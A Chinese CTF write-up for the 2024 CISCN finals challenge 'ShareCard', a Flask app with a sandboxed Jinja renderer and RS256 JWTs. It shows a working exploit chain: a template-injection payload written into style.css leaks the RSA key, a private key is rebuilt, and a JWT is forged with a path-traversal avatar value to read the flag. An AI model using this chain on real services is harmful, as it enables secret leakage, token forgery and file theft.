当前位置: 首页 > news >正文

2024 CISCN总决赛 ShareCard

ShareCard

源码如下

这段代码的主要功能就是在于创建和显示用户信息卡片

from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os#沙盒的一个自定义,允许访问脚本中的所有属性和方法,但是不能调用,类似于不能使用()方法调用
class SaferSandboxedEnvironment(SandboxedEnvironment):def is_safe_attribute(self, obj, attr: str, value) -> bool:return Truedef is_safe_callable(self, obj) -> bool:return False
#Info 类继承自 BaseModel,定义了用户信息的数据结构
class Info(BaseModel):name: stravatar: strsignature: strdef parse_avatar(self):self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
#自定义的模板渲染方法
def safer_render_template(template_name, **kwargs):env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)return env.from_string(open('templates/'+template_name).read()).render(**kwargs)app = Flask(__name__)
rsakey = RSA.generate(1024)#创建卡片,生成jwt令牌,生成分享链接和二维码,然后渲染到页面上
@app.route("/createCard", methods=["GET", "POST"])
def create_card():if request.method == "GET":return safer_render_template("create.html")if request.form.get('style')!=None:open('templates/style.css','w').write(request.form.get('style'))info=Info(**request.form)if info.avatar not in os.listdir('avatars'):raise FileNotFoundErrortoken = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")share_url = request.url_root + url_for('show_card', token=token)qr_img = BytesIO()qrcode.make(share_url).save(qr_img,'png')qr_img.seek(0)share_img = base64.b64encode(qr_img.getvalue()).decode()return safer_render_template("created.html", share_url=share_url, share_img=share_img)@app.route("/showCard", methods=["GET"])
def show_card():token = request.args.get("token")data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())info = Info(**data)info.parse_avatar()return safer_render_template("show.html", info=info)@app.route("/", methods=["GET"])
def index():return redirect(url_for('create_card'))if __name__ == "__main__":app.run(host="0.0.0.0", port=8888, debug=True)

这题全场一共六支队伍解出,大多数队伍估计都知道大致的思路就是jwt伪造然后进行任意文件读取

漏洞点在

class Info(BaseModel):name: stravatar: strsignature: strdef parse_avatar(self):self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()

只要可以伪造jwt就可以篡改avatar变量,然后进行目录穿越读取flag文件,至于怎么伪造jwt我们可以需要先获取到jwt,此次的jwt是RS256也就是使用公私钥进行加解密

这题爆破是不可能的,因为生成公私钥使用的1024位生成的,密码学里已经是很大了

爆破我也有尝试过使用如下的两个工具

https://github.com/silentsignal/rsa_sign2n
https://github.com/Ganapati/RsaCtfTool

通过rsa_sign2n工具提供两个jwt,可以得到公钥,得到公钥以后使用RsaCtfTool却无法分解n

所以回到题目里,细细的分析一下createCard路由

@app.route("/createCard", methods=["GET", "POST"])
def create_card():if request.method == "GET":return safer_render_template("create.html")if request.form.get('style')!=None:open('templates/style.css','w').write(request.form.get('style'))info=Info(**request.form)if info.avatar not in os.listdir('avatars'):raise FileNotFoundErrortoken = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")share_url = request.url_root + url_for('show_card', token=token)qr_img = BytesIO()qrcode.make(share_url).save(qr_img,'png')qr_img.seek(0)share_img = base64.b64encode(qr_img.getvalue()).decode()return safer_render_template("created.html", share_url=share_url, share_img=share_img)

发现有一个参数style,可以让我们任意写入内容到style.css文件里,并且created.html在模板渲染的时候还会引入style.css

在这里插入图片描述

这里也就会造成一个ssti注入,接下来就可以尝试ssti注入了

在这里插入图片描述

漏洞是存在的,并且我们输入的{{''.__class__}}也被写入进了style.css文件里了

在这里插入图片描述

接着往后面做就会卡在subclasses

在这里插入图片描述

这个报错主要说的就是内置方法__subclasses__不可被调用

回到代码里就能看到这题加了有沙箱

class SaferSandboxedEnvironment(SandboxedEnvironment):def is_safe_attribute(self, obj, attr: str, value) -> bool:return Truedef is_safe_callable(self, obj) -> bool:return False

只允许我们使用obj和str,那我们就变换一下思路既然是这样那我们可以不可以直接通过代码的中某个类去获取到rsakey的值

比如说Info类,尝试一下

在这里插入图片描述

显示报错Info没有被定义,在这里卡了我很长时间,Info类为什么会显示没有被定义

后来测试发现是因为沙盒的存在所以模板的渲染都是基于沙盒环境实现的,而在进行模板渲染的函数safer_render_template里面可以发现一个传参规则**kwargs

def safer_render_template(template_name, **kwargs):env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)return env.from_string(open('templates/'+template_name).read()).render(**kwargs)

kwagrs代表的就是模板渲染时是传参的变量,这个变量数组里面的变量是在沙盒环境里可以使用的

在这里插入图片描述

试一下

在这里插入图片描述

明白了这一点,就能发现showCard路由在渲染模板时传参的就是info

在这里插入图片描述

到了这里我们会陷入一个逻辑漏洞里,该怎么让createCard路由的style参数出现的ssti漏洞影响到showCard路由呢

看一下show.html文件内容就会明白了,我们如果单纯的想着name和signature去进行ssti漏洞肯定不行的,会直接将我们输入的输出到页面上

在这里插入图片描述

但是看<style>会发现show.html页面也会同样引入style.css文件

在这里插入图片描述

师傅们到这里应该就明白了这题该如何操作了吧,开始实操

通过createCard路由的style参数传入

{{info.__class__.parse_avatar.__globals__.rsakey.__dict__}}获取info类的实例,访问info类的parse_avatar方法的全局命名空间,最后在全局命名空间里访问rsakey变量的属性字典

此时提交数据,页面会发生报错

在这里插入图片描述

不管它,直接看style.css文件内容,已经写入进去了

在这里插入图片描述

然后我们只需要复制一个正常的jwt数据去访问showCard路由

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWFzZGFzZGFzZCIsImF2YXRhciI6Ilx1ZDgzZVx1ZGQyMy5zdmciLCJzaWduYXR1cmUiOiJhc2Rhc2Rhc2RhcyJ9.Wx3kCfg83T3-raT_zELkr8sRkp2dkyF1HR19lXL7OC4BKMXskhZrIbC5vM0yXNDLh-FsCOBBrvFjz9Nm6E1R9iqHUNP8L4UeyI1hp8BJLv-DlvuqqzVgfirifO9D81gvv5oS_zRt2RrLxhCXb--vUW_paA8-nx-Z1SPs5-0KqpU

接着查看源代码就可以看到rsakey的属性字典了

在这里插入图片描述

通过n,e获取public_key

from Crypto.PublicKey import RSAn = 135090724640422888190864396268520167863763972972834980490348846791091813316639904566923736914509039572330339121217565968856741086620006043262093691346204045938918067791258164547515531501500236304044637909012477965657707457640298545813728996766193759982205727027001942983474993342435639028539304700036784581943
e = 65537
rsa_components = (int(n),int(e))
keypair = RSA.construct(rsa_components)
with open('pubkey.pem', 'wb') as f:f.write(keypair.exportKey())-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAYCXZtMBtuQKas2C4F4pgT6mg
gTwInqxZ1c5dJzH0VYzZRtrUhQS+zKh1RPqMlcrQDkhudsGKnQxwZ20bQ4PXeulb
fW7UEiyFCJOvGZWQTdmR2Zm18hJ6H3iLnbAAeCV4l3v3YuTKaw1PAbzvlGvLSawC
bggWBmcnG9d2D6PtNwIDAQAB
-----END PUBLIC KEY-----

然后使用rsatool.py生成私钥

ius/rsatool: rsatool can be used to calculate RSA and RSA-CRT parameters (github.com)

python rsatool.py -o private.pem -e 65537 -p 11475879863927704233278429505098418671603389840219072011371253004595277451945175358659373194111835265189109758079921278763619138722989315240970639712981509 -q 11771709554493984981536242399986379342043982634651653623481577869445052376380206269975518548279872376310434843661973698302783109583311895911167151209986827
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDAYCXZtMBtuQKas2C4F4pgT6mggTwInqxZ1c5dJzH0VYzZRtrU
hQS+zKh1RPqMlcrQDkhudsGKnQxwZ20bQ4PXeulbfW7UEiyFCJOvGZWQTdmR2Zm1
8hJ6H3iLnbAAeCV4l3v3YuTKaw1PAbzvlGvLSawCbggWBmcnG9d2D6PtNwIDAQAB
AoGBALk+3LPbPkFqGnvlp4keAf3kOC96wth6EvUe0W0aRRxHFS5U8Hwc6wjgAoeK
OMoPpBDc8BqO+KgFuuiyb3oFdXnqT7llWgrOjtTxGZRXe4lUfAyZ/HTSAeLcnSyt
KuWLBIbOYK9y50vhFDOLRc5BdXRjBHfNRi/k+okIveR39AShAkEA2xzurHetTkP2
EJ+U76MsLYcqbJ8dCD58cNLDJA4GIUv78T3Ncm9M6F1hl87JOoyRqna93jtwaX95
UPsdD5ASBQJBAODC6vASwGA1U5Cdeyz7S8VNxnAS5IiS41pvB+TGlt18W41vYvWs
MY3qVsneupBP1+PPDD/5kojKethhqCTcOwsCQFhfEuP8YKlwP430ztzXsrmqCjJE
+jCZAxd96bZg8Zf8TWC+zF2bBimxf+r6O66hgx59RZab4nqqLwO6Q75DHQECQFIz
17sgEI3fUwXEIwWrjuXFcTsSHdU5a79qdkecvhaZYd6Ti2zwolsWBtHkDPW0ze+6
jO9k9sviyhUTemyow0sCQQCFd87R0eeEomZcmNsaYEsuUpa8+54fOliga8KWHodF
kSraMSLggKB9M1bMKfd7iSQAdQf0xl5Ki68x0VzK0Hlf
-----END RSA PRIVATE KEY-----

其实公钥有没有都一样,用私钥可以直接伪造

import jwtprivate_key = """-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQDAYCXZtMBtuQKas2C4F4pgT6mggTwInqxZ1c5dJzH0VYzZRtrU
hQS+zKh1RPqMlcrQDkhudsGKnQxwZ20bQ4PXeulbfW7UEiyFCJOvGZWQTdmR2Zm1
8hJ6H3iLnbAAeCV4l3v3YuTKaw1PAbzvlGvLSawCbggWBmcnG9d2D6PtNwIDAQAB
AoGBALk+3LPbPkFqGnvlp4keAf3kOC96wth6EvUe0W0aRRxHFS5U8Hwc6wjgAoeK
OMoPpBDc8BqO+KgFuuiyb3oFdXnqT7llWgrOjtTxGZRXe4lUfAyZ/HTSAeLcnSyt
KuWLBIbOYK9y50vhFDOLRc5BdXRjBHfNRi/k+okIveR39AShAkEA2xzurHetTkP2
EJ+U76MsLYcqbJ8dCD58cNLDJA4GIUv78T3Ncm9M6F1hl87JOoyRqna93jtwaX95
UPsdD5ASBQJBAODC6vASwGA1U5Cdeyz7S8VNxnAS5IiS41pvB+TGlt18W41vYvWs
MY3qVsneupBP1+PPDD/5kojKethhqCTcOwsCQFhfEuP8YKlwP430ztzXsrmqCjJE
+jCZAxd96bZg8Zf8TWC+zF2bBimxf+r6O66hgx59RZab4nqqLwO6Q75DHQECQFIz
17sgEI3fUwXEIwWrjuXFcTsSHdU5a79qdkecvhaZYd6Ti2zwolsWBtHkDPW0ze+6
jO9k9sviyhUTemyow0sCQQCFd87R0eeEomZcmNsaYEsuUpa8+54fOliga8KWHodF
kSraMSLggKB9M1bMKfd7iSQAdQf0xl5Ki68x0VzK0Hlf
-----END RSA PRIVATE KEY-----"""data = {"name": "aasdsasdasd","avatar": "../../../../../flag","signature": "asdasdasdas"
}token = jwt.encode(data, private_key, algorithm='RS256')
print(token)eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWFzZHNhc2Rhc2QiLCJhdmF0YXIiOiIuLi8uLi8uLi8uLi8uLi9mbGFnIiwic2lnbmF0dXJlIjoiYXNkYXNkYXNkYXMifQ.hSeeFUl9TzZtPknKK9opI8Susa4YpXmlvkBao3PdKMjwjDBE5aI7xLxBh3h4rAMmf8g0tCIiZKM-EzWeZhzxnruaA3UfVcG8huSUt0xvQQFEy3nAz3OeCQKkwDiVy0soqWsUuDCHJMvOb7KSvIC7dAzUqiKj0GuBHuJkJdLXIpU

然后访问showCard?token=

在这里插入图片描述

解码得到flag

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • CPU、GPU等处理器介绍
  • 深入探索非线性数据结构:树与图的世界
  • 基于opencv的人脸识别(实战)
  • 贪心加暴力枚举
  • Postman中的A/B测试实践:优化API性能的科学方法
  • Mysql备份恢复
  • redis的使用场景-热点数据缓存
  • 【技术升级】Docker环境下Nacos平滑升级攻略,安全配置一步到位
  • 论文阅读:(DETR)End-to-End Object Detection with Transformers
  • B端系统UI个性化设计:感受定制之美
  • 微信小游戏之 三消(一)
  • C#华为OD笔试题*3
  • Spring Core——资源加载与访问(Resource)
  • 优思学院|如何透过客户忠诚度分析决定六西格玛改善项目?
  • 01、爬虫学习入门
  • 【跃迁之路】【699天】程序员高效学习方法论探索系列(实验阶段456-2019.1.19)...
  • Java-详解HashMap
  • React-flux杂记
  • Spring-boot 启动时碰到的错误
  • 从PHP迁移至Golang - 基础篇
  • 多线程 start 和 run 方法到底有什么区别?
  • 记一次用 NodeJs 实现模拟登录的思路
  • 两列自适应布局方案整理
  • 那些被忽略的 JavaScript 数组方法细节
  • 新版博客前端前瞻
  • 优秀架构师必须掌握的架构思维
  • 自动记录MySQL慢查询快照脚本
  • 回归生活:清理微信公众号
  • # Panda3d 碰撞检测系统介绍
  • #Datawhale AI夏令营第4期#AIGC方向 文生图 Task2
  • #快捷键# 大学四年我常用的软件快捷键大全,教你成为电脑高手!!
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (Mirage系列之二)VMware Horizon Mirage的经典用户用例及真实案例分析
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (分布式缓存)Redis哨兵
  • (附源码)springboot家庭装修管理系统 毕业设计 613205
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (三)c52学习之旅-点亮LED灯
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • (一) springboot详细介绍
  • (原創) 如何優化ThinkPad X61開機速度? (NB) (ThinkPad) (X61) (OS) (Windows)
  • (转)大道至简,职场上做人做事做管理
  • .bat批处理(十一):替换字符串中包含百分号%的子串
  • .locked1、locked勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .NET 2.0中新增的一些TryGet,TryParse等方法
  • .NET CLR基本术语
  • .NET Core 和 .NET Framework 中的 MEF2
  • .Net 代码性能 - (1)
  • .NET 的程序集加载上下文
  • .NET 跨平台图形库 SkiaSharp 基础应用
  • .net 怎么循环得到数组里的值_关于js数组
  • .NET/C# 阻止屏幕关闭,阻止系统进入睡眠状态
  • .net6使用Sejil可视化日志
  • .Net--CLS,CTS,CLI,BCL,FCL
  • .net流程开发平台的一些难点(1)